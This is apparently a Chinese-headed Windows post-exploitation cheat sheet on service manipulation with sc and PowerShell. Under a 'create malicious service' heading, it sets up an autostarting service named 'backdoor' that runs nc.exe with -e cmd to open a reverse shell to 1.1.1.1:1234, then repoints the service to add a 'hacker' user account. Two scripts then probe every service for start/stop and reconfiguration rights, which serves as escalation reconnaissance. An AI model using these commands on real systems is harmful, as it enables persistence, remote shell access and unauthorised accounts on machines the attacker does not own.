# 查看服务
tasklist /svc
sc query dhcp
sc qc dhcp
# PowerShell查看所有运行中的服务
Get-WmiObject Win32_Service | Where-Object { $_.State -eq 'Running' } | Select-Object Name, ProcessId, PathName, StartMode, State, StartName | Format-Table -AutoSize
# 启动/停止服务
sc start dhcp
sc stop dhcp
# 设置服务为自动启动
sc config dhcp start=auto
# 创建恶意服务
sc create backdoor binpath="c:\users\public\nc.exe 1.1.1.1 1234 -e cmd"
sc config backdoor start=auto
sc config backdoor binpath="net user hacker /add"
sc start backdoor
# PowerShell 脚本:查找可启动/停止的服务
$services = Get-Service
$controllableServices = @()
foreach ($service in $services) {
try {
if ($service.Status -eq 'Stopped') {
Start-Service -Name $service.Name -ErrorAction Stop
}
if ($service.Status -eq 'Running') {
Stop-Service -Name $service -ErrorAction Stop
}
$controllableServices += $service.Name
} catch {
# 忽略无权限的服务
}
}
$controllableServices
# PowerShell 脚本:查找可修改启动类型的服务
$services = Get-Service
$modifiableServices = @()
foreach ($service in $services) {
try {
Set-Service -Name $service.Name -StartupType $service.StartType -ErrorAction Stop | Out-Null
$modifiableServices += $service.Name
} catch {
# 忽略无权限的服务
}
}
$modifiableServices